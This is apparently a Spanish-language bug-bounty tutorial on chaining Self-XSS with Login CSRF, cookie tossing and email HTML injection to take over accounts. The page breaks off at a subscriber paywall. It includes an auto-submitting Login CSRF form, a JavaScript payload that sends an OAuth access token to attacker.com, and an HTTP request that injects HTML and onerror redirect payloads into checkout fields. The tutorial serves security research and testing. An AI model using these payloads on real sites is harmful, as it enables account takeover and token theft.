Respuesta rápida
Self-XSS sigue siendo "Won't Fix" en muchos programas porque "el usuario se ataca a sí mismo". Pero un Self-XSS combinado con Login CSRF + Cookie Tossing + postMessage hijack o email HTML injection se convierte en ATO. La regla: nunca descartes una XSS porque el vector inicial requiere acción del usuario — busca el canal que rompa la frontera "self".
El malentendido del Self-XSS
Un Self-XSS clásico vive en un campo que solo el propio usuario puede modificar y leer (settings, preferencias internas, query string solo accesible tras login). Triagers lo cierran con tres frases típicas:
- "Requires victim to paste payload in their own session."
- "No cross-user impact."
- "Self-attack — informational."
El error es asumir que el atacante no puede forzar que la víctima esté en una sesión donde el payload se ejecute. Hay seis caminos:
| Camino | Mecanismo |
|---|---|
| Login CSRF | Atacante autentica a la víctima en cuenta del atacante, donde el payload ya está armado |
| Cookie tossing | Set-Cookie con path=/ruta desde subdominio → override sesión legítima |
| Email HTML injection | Datos del usuario reflejados en email transaccional → click → render con payload |
| postMessage hijack | iframe trusted envía mensaje malicioso → handler usa innerHTML/eval |
| Hash/PRNG predict | Adivinar callback IDs o tokens generados con Math.random() |
| OAuth flow abuse | Redirect/state manipulado → token cae en sesión del atacante |
Chain 1 — Login CSRF + Self-XSS
El más eficaz y bien aceptado por triagers serios.
Setup
- Atacante crea una cuenta
attacker@evil.comy guarda el payload Self-XSS en el campo vulnerable (nombre, bio, URL de avatar, search history). - Atacante prepara una página que fuerza a la víctima a loguearse en la cuenta del atacante (Login CSRF):
<form id="loginForm" action="https://target.com/login" method="POST">
<input name="email" value="attacker@evil.com">
<input name="password" value="ATTACKER_PASS">
</form>
<script>document.getElementById('loginForm').submit();</script>
- Tras el auto-submit, el browser de la víctima tiene una sesión activa en la cuenta del atacante. Cualquier visita siguiente a
target.com/settingsejecuta el Self-XSS — pero ahora con cookies de la víctima.
Por qué funciona el switch a la sesión real
El payload final (dentro del Self-XSS) no opera con las cookies del atacante: usa fetch('/me/logout') + fetch('/me/login-with-token?token=VICTIM_REMEMBER_TOKEN') si lo encuentra en localStorage, o lanza un OAuth implicit grant que devuelva el token a un endpoint controlado.
// Dentro del Self-XSS en sesión del atacante
fetch('/api/v1/me/oauth/issue?client_id=attacker_app', { credentials: 'include' })
.then(r => r.json())
.then(d => navigator.sendBeacon('https://attacker.com/c', d.access_token));
Chain 2 — Email HTML injection + Self-XSS
Patrón documentado en el reporte de Ayoub Nouri (Visa). Funciona cuando un campo del checkout o registro se refleja sin encoding en el email transaccional.
Setup completo
POST /v1/order/checkout HTTP/1.1
Host: api.target.com
Content-Type: application/json
{
"billing": {
"firstName": "<a href='https://attacker.com/poc.html'>Verifica tu cuenta</a>",
"lastName": "<img src=x onerror='location=\"https://attacker.com/p\"'>",
"email": "victim@target.com"
},
"paymentMethodNonce": "INVALID_NONCE_TO_TRIGGER_FAIL"
}
Trick clave: el nonce inválido fuerza que la orden falle, pero el email transaccional ("Your order was cancelled") se envía de todos modos con los datos del billing renderizados como HTML.
Si la página tiene reCAPTCHA, la herramienta Google-Recaptcha-CSRF-POC lo resuelve automáticamente vía proxy y abre la URL final.
Sigue leyendo el chain completo
La parte que falta incluye el PoC paso a paso, código de explotación y la cadena completa que llevó al impacto. Disponible para suscriptores.
Practica esto en un lab
Xss Self Ato
Sigue aprendiendo · cuenta gratis
Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.
Artículos relacionados
Stored XSS en nombres de plantilla — del campo más aburrido al domain takeover
Un campo de título en una plantilla, sin sanitizar, en una sesión con permisos sobre dominios. Bounty real de €1.200. Cómo encontrar XSS donde nadie mira.
DOM XSS — gadgets, postMessage handlers y CVE-2025-59840
DOM XSS no es solo innerHTML. Sources/sinks, gadget chains via toString(), postMessage handlers sin origin check, hash-based routing rotos.
postMessage — vulnerabilidades comunes: origin bypass, XSS sink, IDOR cross-window
Cómo identificar y explotar vulnerabilidades en window.postMessage(): listeners sin validación de origin, payloads JSON inseguros que llegan a DOM XSS, IDOR cross-origin.